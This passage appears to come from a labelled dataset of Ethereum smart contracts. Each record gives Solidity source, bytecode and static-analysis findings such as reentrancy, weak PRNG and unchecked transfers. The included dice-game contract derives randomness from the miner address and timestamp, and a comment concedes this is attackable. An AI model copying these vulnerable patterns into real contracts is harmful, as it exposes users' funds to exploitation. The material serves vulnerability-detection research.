6e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610df46064610dee683635c9adc5dea0000084611669565b906116c2565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610ea25760405162461bcd60e51b81526004018080602001828103825260248152602001806120566024913960400191505060405180910390fd5b6001600160a01b038216610ee75760405162461bcd60e51b8152600401808060200182810382526022815260200180611f7d6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f8e5760405162461bcd60e51b81526004018080602001828103825260258152602001806120316025913960400191505060405180910390fd5b6001600160a01b038216610fd35760405162461bcd60e51b8152600401808060200182810382526023815260200180611f306023913960400191505060405180910390fd5b600081116110125760405162461bcd60e51b81526004018080602001828103825260298152602001806120086029913960400191505060405180910390fd5b61101a61080d565b6001600160a01b0316836001600160a01b031614158015611054575061103e61080d565b6001600160a01b0316826001600160a01b031614155b156112c257601354600160b81b900460ff161561114e576001600160a01b038316301480159061108d57506001600160a01b0382163014155b80156110a757506012546001600160a01b03848116911614155b80156110c157506012546001600160a01b03838116911614155b1561114e576012546001600160a01b03166110da610e59565b6001600160a01b0316148061110957506013546001600160a01b03166110fe610e59565b6001600160a01b0316145b61114e576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561115d57600080fd5b6001600160a01b03831660009081526007602052604090205460ff1615801561119f57506001600160a01b03821660009081526007602052604090205460ff16155b6111a857600080fd5b6013546001600160a01b0384811691161480156111d357506012546001600160a01b03838116911614155b80156111f857506001600160a01b03821660009081526005602052604090205460ff16155b801561120d5750601354600160b81b900460ff165b15611255576001600160a01b038216600090815260086020526040902054421161123657600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061126030610701565b601354909150600160a81b900460ff1615801561128b57506013546001600160a01b03858116911614155b80156112a05750601354600160b01b900460ff165b156112c0576112ae8161149b565b4780156112be576112be476113b6565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061130457506001600160a01b03831660009081526005602052604090205460ff165b1561130d575060005b61131984848484611704565b50505050565b600081848411156113ae5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561137357818101518382015260200161135b565b50505050905090810190601f1680156113a05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113d08360026116c2565b6040518115909202916000818181858888f193505050501580156113f8573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114138360026116c2565b6040518115909202916000818181858888f19350505050158015610901573d6000803e3d6000fd5b6000600a5482111561147e5760405162461bcd60e51b815260040180806020018281038252602a815260200180611f53602a913960400191505060405180910390fd5b6000611488611820565b905061149483826116c2565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114dc57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561153057600080fd5b505afa158015611544573d6000803e3d6000fd5b505050506040513d602081101561155a57600080fd5b505181518290600190811061156b57fe5b6001600160a01b0392831660209182029290920101526012546115919130911684610e5d565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156116175781810151838201526020016115ff565b505050509050019650505050505050600060405180830381600087803b15801561164057600080fd5b505af1158015611654573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6000826116785750600061053f565b8282028284828161168557fe5b04146114945760405162461bcd60e51b8152600401808060200182810382526021815260200180611f9f6021913960400191505060405180910390fd5b600061149483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611843565b80611711576117116118a8565b6001600160a01b03841660009081526006602052604090205460ff16801561175257506001600160a01b03831660009081526006602052604090205460ff16155b15611767576117628484846118da565b611813565b6001600160a01b03841660009081526006602052604090205460ff161580156117a857506001600160a01b03831660009081526006602052604090205460ff165b156117b8576117628484846119fe565b6001600160a01b03841660009081526006602052604090205460ff1680156117f857506001600160a01b03831660009081526006602052604090205460ff165b1561180857611762848484611aa7565b611813848484611b1a565b8061131957611319611b5e565b600080600061182d611b6c565b909250905061183c82826116c2565b9250505090565b600081836118925760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561137357818101518382015260200161135b565b50600083858161189e57fe5b0495945050505050565b600c541580156118b85750600d54155b156118c2576118d8565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118ec87611ceb565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061191e9088611d48565b6001600160a01b038a1660009081526003602090815260408083209390935560029052205461194d9087611d48565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461197c9086611d8a565b6001600160a01b03891660009081526002602052604090205561199e81611de4565b6119a88483611e6c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a1087611ceb565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a429087611d48565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a789084611d8a565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461197c9086611d8a565b600080600080600080611ab987611ceb565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611aeb9088611d48565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a429087611d48565b600080600080600080611b2c87611ceb565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061194d9087611d48565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cab57826002600060098481548110611b9c57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c015750816003600060098481548110611bda57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c1f57600a54683635c9adc5dea0000094509450505050611ce7565b611c5f6002600060098481548110611c3357fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d48565b9250611ca16003600060098481548110611c7557fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d48565b9150600101611b80565b50600a54611cc290683635c9adc5dea000006116c2565b821015611ce157600a54683635c9adc5dea00000935093505050611ce7565b90925090505b9091565b6000806000806000806000806000611d088a600c54600d54611e90565b9250925092506000611d18611820565b90506000806000611d2b8e878787611edf565b919e509c509a509598509396509194505050505091939550919395565b600061149483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061131f565b600082820183811015611494576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611dee611820565b90506000611dfc8383611669565b30600090815260026020526040902054909150611e199082611d8a565b3060009081526002602090815260408083209390935560069052205460ff1615610d245730600090815260036020526040902054611e579084611d8a565b30600090815260036020526040902055505050565b600a54611e799083611d48565b600a55600b54611e899082611d8a565b600b555050565b6000808080611ea46064610dee8989611669565b90506000611eb76064610dee8a89611669565b90506000611ecf82611ec98b86611d48565b90611d48565b9992985090965090945050505050565b6000808080611eee8886611669565b90506000611efc8887611669565b90506000611f0a8888611669565b90506000611f1c82611ec98686611d48565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220846170acce5b24f453a56f5de3b7ccb2ae3e2f0b9f16b7363477a403f4e37edb64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,948
0xbd0df049391e2419c8146f222907967b46e8b034
pragma solidity ^0.4.21; /* * ##### ## ##### ## ### ## ### ### * ###### /### ###### / #### / /#### #### / ### ### * /# / / ### /# / / ####/ / ### /####/ ## ## * / / / ### / / / # # ### / ## ## ## * / / ## / / # ### / ## ## * ## ## ## ## ## # ###/ ### /### /### ## ## * ## ## ## ## ## # ### ###/ #### / / ### / ## ## * /### ## / ## ######## /### ## ###/ / ###/ ## ## * / ### ## / ## ## # / ### ## ## ## ## ## * ## ######/ ## ## ## / ### ## ## ## ## ## * ## ###### # ## ## / ### ## ## ## ## ## * ## ## / ## / ### ## ## ## ## ## * ## ## /##/ ## / ### / ## ## ## ## ## * ## ## / ##### ## / ####/ ### ###### ### / ### / * ## ## ## / ## / ### ### #### ##/ ##/ * ### # / # * ### / ## * #####/ * ### * * ____ * /\' .\ _____ * /: \___\ / . /\ * \' / . / /____/..\ * \/___/ \' '\ / * \'__'\/ * * // Probably Unfair // * * //*** Developed By: * _____ _ _ _ ___ _ * |_ _|__ __| |_ _ _ (_)__ __ _| | _ (_)___ ___ * | |/ -_) _| ' \| ' \| / _/ _` | | / (_-</ -_) * |_|\___\__|_||_|_||_|_\__\__,_|_|_|_\_/__/\___| * * © 2018 TechnicalRise. Written in March 2018. * All rights reserved. Do not copy, adapt, or otherwise use without permission. * https://www.reddit.com/user/TechnicalRise/ * */ contract PHXReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } contract PHXInterface { function balanceOf(address who) public view returns (uint); function transfer(address _to, uint _value) public returns (bool); function transfer(address _to, uint _value, bytes _data) public returns (bool); } contract usingMathLibraries { function safeAdd(uint a, uint b) internal pure returns (uint) { require(a + b >= a); return a + b; } function safeSub(uint a, uint b) pure internal returns (uint) { require(b <= a); return a - b; } // parseInt function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } } contract PHXroll is PHXReceivingContract, usingMathLibraries { /* * checks player profit, bet size and player number is within range */ modifier betIsValid(uint _betSize, uint _playerNumber) { require(((((_betSize * (100-(safeSub(_playerNumber,1)))) / (safeSub(_playerNumber,1))+_betSize))*houseEdge/houseEdgeDivisor)-_betSize < maxProfit && _betSize > minBet && _playerNumber > minNumber && _playerNumber < maxNumber); _; } /* * checks game is currently active */ modifier gameIsActive { require(gamePaused == false); _; } /* * checks payouts are currently active */ modifier payoutsAreActive { require(payoutsPaused == false); _; } /* * checks only owner address is calling */ modifier onlyOwner { require(msg.sender == owner); _; } /* * checks only treasury address is calling */ modifier onlyTreasury { require(msg.sender == treasury); _; } /* * game vars */ uint constant public maxProfitDivisor = 1000000; uint constant public houseEdgeDivisor = 1000; uint constant public maxNumber = 99; uint constant public minNumber = 2; bool public gamePaused; address public owner; bool public payoutsPaused; address public treasury; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet; //init discontinued contract data int public totalBets = 0; //init discontinued contract data uint public totalTRsWon = 0; //init discontinued contract data uint public totalTRsWagered = 0; /* * player vars */ uint public rngId; mapping (uint => address) playerAddress; mapping (uint => uint) playerBetId; mapping (uint => uint) playerBetValue; mapping (uint => uint) playerDieResult; mapping (uint => uint) playerNumber; mapping (uint => uint) playerProfit; /* * events */ /* log bets + output to web3 for precise 'payout on win' field in UI */ event LogBet(uint indexed BetID, address indexed PlayerAddress, uint indexed RewardValue, uint ProfitValue, uint BetValue, uint PlayerNumber); /* output to web3 UI on bet result*/ /* Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send*/ event LogResult(uint indexed BetID, address indexed PlayerAddress, uint PlayerNumber, uint DiceResult, uint Value, int Status); /* log manual refunds */ event LogRefund(uint indexed BetID, address indexed PlayerAddress, uint indexed RefundValue); /* log owner transfers */ event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); address public constant PHXTKNADDR = 0x14b759A158879B133710f4059d32565b4a66140C; PHXInterface public PHXTKN; /* * init */ function PHXroll() public { owner = msg.sender; treasury = msg.sender; // Initialize the PHX Contract PHXTKN = PHXInterface(PHXTKNADDR); /* init 990 = 99% (1% houseEdge)*/ ownerSetHouseEdge(990); /* init 10,000 = 1% */ ownerSetMaxProfitAsPercentOfHouse(10000); /* init min bet (0.1 PHX) */ ownerSetMinBet(100000000000000000); } // This is a supercheap psuedo-random number generator // that relies on the fact that "who" will mine and "when" they will // mine is random. This is usually vulnerable to "inside the block" // attacks where someone writes a contract mined in the same block // and calls this contract from it -- but we don't accept transactions // from other contracts, lessening that risk. It seems like someone // would therefore need to be able to predict the block miner and // block timestamp in advance to hack this. // // ¯\_(ツ)_/¯ // uint seed3; function _pRand(uint _modulo) internal view returns (uint) { require((1 < _modulo) && (_modulo <= 1000)); uint seed1 = uint(block.coinbase); // Get Miner's Address uint seed2 = now; // Get the timestamp seed3++; // Make all pRand calls unique return uint(keccak256(seed1, seed2, seed3)) % _modulo; } /* * public function * player submit bet * only if game is active & bet is valid */ function _playerRollDice(uint _rollUnder, TKN _tkn) private gameIsActive betIsValid(_tkn.value, _rollUnder) { // Note that msg.sender is the Token Contract Address // and "_from" is the sender of the tokens require(_humanSender(_tkn.sender)); // Check that this is a non-contract sender require(_phxToken(msg.sender)); // Check that this is a PHX Token Transfer // Increment rngId rngId++; /* map bet id to this wager */ playerBetId[rngId] = rngId; /* map player lucky number */ playerNumber[rngId] = _rollUnder; /* map value of wager */ playerBetValue[rngId] = _tkn.value; /* map player address */ playerAddress[rngId] = _tkn.sender; /* safely map player profit */ playerProfit[rngId] = 0; /* provides accurate numbers for web3 and allows for manual refunds */ emit LogBet(playerBetId[rngId], playerAddress[rngId], safeAdd(playerBetValue[rngId], playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]); /* map Die result to player */ playerDieResult[rngId] = _pRand(100) + 1; /* total number of bets */ totalBets += 1; /* total wagered */ totalTRsWagered += playerBetValue[rngId]; /* * pay winner * update contract balance to calculate new max bet * send reward */ if(playerDieResult[rngId] < playerNumber[rngId]){ /* safely map player profit */ playerProfit[rngId] = ((((_tkn.value * (100-(safeSub(_rollUnder,1)))) / (safeSub(_rollUnder,1))+_tkn.value))*houseEdge/houseEdgeDivisor)-_tkn.value; /* safely reduce contract balance by player profit */ contractBalance = safeSub(contractBalance, playerProfit[rngId]); /* update total Rises won */ totalTRsWon = safeAdd(totalTRsWon, playerProfit[rngId]); emit LogResult(playerBetId[rngId], playerAddress[rngId], playerNumber[rngId], playerDieResult[rngId], playerProfit[rngId], 1); /* update maximum profit */ setMaxProfit(); // Transfer profit plus original bet PHXTKN.transfer(playerAddress[rngId], playerProfit[rngId] + _tkn.value); return; } else { /* * no win * send 1 Rise to a losing bet * update contract balance to calculate new max bet */ emit LogResult(playerBetId[rngId], playerAddress[rngId], playerNumber[rngId], playerDieResult[rngId], playerBetValue[rngId], 0); /* * safe adjust contractBalance * setMaxProfit * send 1 Rise to losing bet */ contractBalance = safeAdd(contractBalance, (playerBetValue[rngId]-1)); /* update maximum profit */ setMaxProfit(); /* * send 1 Rise */ PHXTKN.transfer(playerAddress[rngId], 1); return; } } // !Important: Note the use of the following struct struct TKN { address sender; uint value; } function tokenFallback(address _from, uint _value, bytes _data) public { if(_from == treasury) { contractBalance = safeAdd(contractBalance, _value); /* safely update contract balance */ /* update the maximum profit */ setMaxProfit(); return; } else { TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; _playerRollDice(parseInt(string(_data)), _tkn); } } /* * internal function * sets max profit */ function setMaxProfit() internal { maxProfit = (contractBalance*maxProfitAsPercentOfHouse)/maxProfitDivisor; } /* only owner adjust contract balance variable (only used for max profit calc) */ function ownerUpdateContractBalance(uint newContractBalanceInTRs) public onlyOwner { contractBalance = newContractBalanceInTRs; } /* only owner address can set houseEdge */ function ownerSetHouseEdge(uint newHouseEdge) public onlyOwner { houseEdge = newHouseEdge; } /* only owner address can set maxProfitAsPercentOfHouse */ function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { /* restrict each bet to a maximum profit of 1% contractBalance */ require(newMaxProfitAsPercent <= 10000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } /* only owner address can set minBet */ function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } /* only owner address can transfer PHX */ function ownerTransferPHX(address sendTo, uint amount) public onlyOwner { /* safely update contract balance when sending out funds*/ contractBalance = safeSub(contractBalance, amount); /* update max profit */ setMaxProfit(); require(!PHXTKN.transfer(sendTo, amount)); emit LogOwnerTransfer(sendTo, amount); } /* only owner address can set emergency pause #1 */ function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } /* only owner address can set emergency pause #2 */ function ownerPausePayouts(bool newPayoutStatus) public onlyOwner { payoutsPaused = newPayoutStatus; } /* only owner address can set treasury address */ function ownerSetTreasury(address newTreasury) public onlyOwner { treasury = newTreasury; } /* only owner address can set owner address */ function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } /* only owner address can selfdestruct - emergency */ function ownerkill() public onlyOwner { PHXTKN.transfer(owner, contractBalance); selfdestruct(owner); } function _phxToken(address _tokenContract) private pure returns (bool) { return _tokenContract == PHXTKNADDR; // Returns "true" of this is the PHX Token Contract } // Determine if the "_from" address is a contract function _humanSender(address _from) private view returns (bool) { uint codeLength; assembly { codeLength := extcodesize(_from) } return (codeLength == 0); // If this is "true" sender is most likely a Wallet } }
0x6060604052600436106101665763ffffffff60e060020a6000350416631a6253ed811461016b57806323214fab1461018f578063268d50fe146101b45780632e729daf146101ca578063301cf6e7146101dd57806331375242146102045780633a4f6999146102235780634025b5a81461023657806343c1598d1461024c5780634a1a89f11461025f5780634b7fcee71461028e5780634f44728d146102a657806355b93031146102c55780635e968a49146102d857806361d027b3146102ee5780636cdf4c90146103015780636eacd48a146103175780637e245fac1461032f5780638b7afe2e146103425780638da5cb5b146103555780639619367d14610368578063b539cd551461037b578063befa1e2f1461038e578063c0ee0b8a146103a1578063c3de1ab914610406578063d263b7eb14610419578063d667dcd71461042c578063db7057fb1461043f578063e5c774de14610452578063ed8fe3c114610465575b600080fd5b341561017657600080fd5b61018d600160a060020a0360043516602435610478565b005b341561019a57600080fd5b6101a2610561565b60405190815260200160405180910390f35b34156101bf57600080fd5b61018d600435610567565b34156101d557600080fd5b6101a261058c565b34156101e857600080fd5b6101f0610592565b604051901515815260200160405180910390f35b341561020f57600080fd5b61018d600160a060020a03600435166105b4565b341561022e57600080fd5b6101a2610603565b341561024157600080fd5b61018d600435610608565b341561025757600080fd5b6101a261062d565b341561026a57600080fd5b610272610634565b604051600160a060020a03909116815260200160405180910390f35b341561029957600080fd5b61018d600435151561064c565b34156102b157600080fd5b61018d600160a060020a03600435166106ae565b34156102d057600080fd5b6101a2610703565b34156102e357600080fd5b61018d600435610708565b34156102f957600080fd5b610272610747565b341561030c57600080fd5b61018d600435610756565b341561032257600080fd5b61018d600435151561077b565b341561033a57600080fd5b6102726107ae565b341561034d57600080fd5b6101a26107bd565b341561036057600080fd5b6102726107c3565b341561037357600080fd5b6101a26107d7565b341561038657600080fd5b6101a26107dd565b341561039957600080fd5b6101a26107e3565b34156103ac57600080fd5b61018d60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506107e995505050505050565b341561041157600080fd5b6101f061084e565b341561042457600080fd5b61018d610857565b341561043757600080fd5b6101a2610906565b341561044a57600080fd5b6101a261090c565b341561045d57600080fd5b6101a2610912565b341561047057600080fd5b6101a2610918565b60005433600160a060020a03908116610100909204161461049857600080fd5b6104a46002548261091e565b6002556104af610933565b601154600160a060020a031663a9059cbb838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561050557600080fd5b5af1151561051257600080fd5b505050604051805115905061052657600080fd5b8082600160a060020a03167f42c501a185f41a8eb77b0a3e7b72a6435ea7aa752f8a1a0a13ca4628495eca9160405160405180910390a35050565b60055481565b60005433600160a060020a03908116610100909204161461058757600080fd5b600355565b60095481565b6000547501000000000000000000000000000000000000000000900460ff1681565b60005433600160a060020a0390811661010090920416146105d457600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b606381565b60005433600160a060020a03908116610100909204161461062857600080fd5b600255565b620f424081565b7314b759a158879b133710f4059d32565b4a66140c81565b60005433600160a060020a03908116610100909204161461066c57600080fd5b6000805491151575010000000000000000000000000000000000000000000275ff00000000000000000000000000000000000000000019909216919091179055565b60005433600160a060020a0390811661010090920416146106ce57600080fd5b60008054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600281565b60005433600160a060020a03908116610100909204161461072857600080fd5b61271081111561073757600080fd5b6005819055610744610933565b50565b600154600160a060020a031681565b60005433600160a060020a03908116610100909204161461077657600080fd5b600655565b60005433600160a060020a03908116610100909204161461079b57600080fd5b6000805460ff1916911515919091179055565b601154600160a060020a031681565b60025481565b6000546101009004600160a060020a031681565b60065481565b60045481565b60075481565b6107f161111c565b600154600160a060020a03858116911614156108235761081360025484610945565b60025561081e610933565b610848565b600160a060020a0384168152602081018390526108486108428361095c565b8261096f565b50505050565b60005460ff1681565b60005433600160a060020a03908116610100909204161461087757600080fd5b601154600054600254600160a060020a039283169263a9059cbb926101009004169060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156108dc57600080fd5b5af115156108e957600080fd5b505050604051805150506000546101009004600160a060020a0316ff5b60035481565b600a5481565b6103e881565b60085481565b60008282111561092d57600080fd5b50900390565b600554600254620f4240910204600455565b60008183018390101561095757600080fd5b500190565b6000610969826000610ec4565b92915050565b60005460ff161561097f57600080fd5b806020015182600454826103e86003548561099b86600161091e565b6109a687600161091e565b60640388028115156109b457fe5b0401028115156109c057fe5b04031080156109d0575060065482115b80156109dc5750600281115b80156109e85750606381105b15156109f357600080fd5b6109fd835161107a565b1515610a0857600080fd5b610a113361107f565b1515610a1c57600080fd5b600a8054600101908190556000818152600c6020908152604080832093909355600f8152919020859055830151600a546000908152600d60205260409020558251600a80546000908152600b60209081526040808320805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03969096169590951790945582548252601080825284832083905592548252600d8152838220549290529190912054610acb9190610945565b600a546000908152600b6020908152604080832054600c8352818420546010845282852054600d855283862054600f9095529483902054600160a060020a039092169490937fbe797a32d0aa8e3b3744c30a3bc6d6f39fab9f6a9eefa97e440e80380f22701193919290915180848152602001838152602001828152602001935050505060405180910390a4610b6160646110a4565b600a80546000908152600e60208181526040808420600196870190556007805490960190955592548252600d835283822054600980549091019055600f835283822054925291909120541015610d925782602001516103e86003548560200151610bcc88600161091e565b610bd789600161091e565b606403886020015102811515610be957fe5b040102811515610bf557fe5b600a805460009081526010602052604080822094909304949094039092556002549154835290912054610c28919061091e565b600255600854600a54600090815260106020526040902054610c4a9190610945565b600855600a546000908152600b6020908152604080832054600c835281842054600f845282852054600e85528386205460109095529483902054600160a060020a039092169490937f9233ab1ebf98694274193799816f87133329cdbebdf1a88d4b7f380ee034bfeb9391929091600190518085815260200184815260200183815260200182815260200194505050505060405180910390a3610ceb610933565b601154600a546000908152600b6020908152604090912054600160a060020a039283169263a9059cbb9291169086015160106000600a548152602001908152602001600020540160405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d7557600080fd5b5af11515610d8257600080fd5b5050506040518051905050610848565b600a546000908152600b6020908152604080832054600c835281842054600f845282852054600e855283862054600d90955283862054600160a060020a039093169591947f9233ab1ebf98694274193799816f87133329cdbebdf1a88d4b7f380ee034bfeb94919390929091518085815260200184815260200183815260200182815260200194505050505060405180910390a3600254600a546000908152600d6020526040902054610e49919060001901610945565b600255610e54610933565b601154600a546000908152600b60205260409081902054600160a060020a039283169263a9059cbb929116906001905160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d7557600080fd5b6000610ece611133565b5082600080805b835181101561105d577f3000000000000000000000000000000000000000000000000000000000000000848281518110610f0b57fe5b016020015160f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191610158015610fac57507f3900000000000000000000000000000000000000000000000000000000000000848281518110610f7557fe5b016020015160f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b15611002578115610fcb57851515610fc35761105d565b600019909501945b600a830292506030848281518110610fdf57fe5b016020015160f860020a900460f860020a0260f860020a90040383019250611055565b83818151811061100e57fe5b016020015160f860020a900460f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916602e60f860020a02141561105557600191505b600101610ed5565b600086111561106f5785600a0a830292505b509095945050505050565b3b1590565b600160a060020a0381167314b759a158879b133710f4059d32565b4a66140c14919050565b60008060008360011080156110bb57506103e88411155b15156110c657600080fd5b50506012805460010190819055600160a060020a03411690429084908390839060405180848152602001838152602001828152602001935050505060405190819003902081151561111357fe5b06949350505050565b604080519081016040526000808252602082015290565b602060405190810160405260008152905600a165627a7a72305820c62405d4c89ca4845c9b57bb40cf696dec5cdbaf49e5971dd3f60c4ab3552b880029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}}
6,949
0xda4325e70ac8f7d3c14bb9882e39abe1920f3dc1
pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns 